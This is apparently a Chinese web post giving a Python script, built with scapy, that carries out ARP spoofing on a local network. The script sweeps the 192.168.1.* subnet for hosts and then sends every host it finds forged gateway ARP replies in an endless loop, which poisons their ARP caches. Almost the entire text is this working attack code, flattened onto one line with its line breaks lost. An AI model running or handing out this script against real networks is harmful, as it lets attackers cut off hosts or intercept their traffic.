python arp欺骗伪造网关代码，pythonarp伪造网关,#coding:utf-

python arp欺骗伪造网关代码，pythonarp伪造网关,#coding:utf-

#coding:utf-8'''arp欺骗局域网pc，将伪造的网关mac以网关的arp应答发送给pc'''from scapy.all import ARP,send,arpingimport sys,restdout=sys.stdoutIPADDR="192.168.1.*"gateway_ip='192.168.1.1'#伪造网关mac地址gateway_hw='00:11:22:33:44:55'p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)def arp_hack(ip,hw):    #伪造来自网关的arp应答    t=p    t.hwdst=hw    t.pdst=ip    send(t)def get_host():    #得到在线主机的mac地址和对应ip地址     hw_ip = {}    sys.stdout = open('host.info','w')    arping(IPADDR)    sys.stdout = stdout    f = open('host.info','r')    info = f.readlines()    f.close    del info[0]    del info[0]    for host in info :        temp = re.split(r'\s+',host)        hw_ip[temp[1]] = temp[2]    return hw_ipif __name__ == "__main__":    hw_ip = get_host()    while 1 :        for i in hw_ip :            arp_hack(hw=i,ip=hw_ip[i])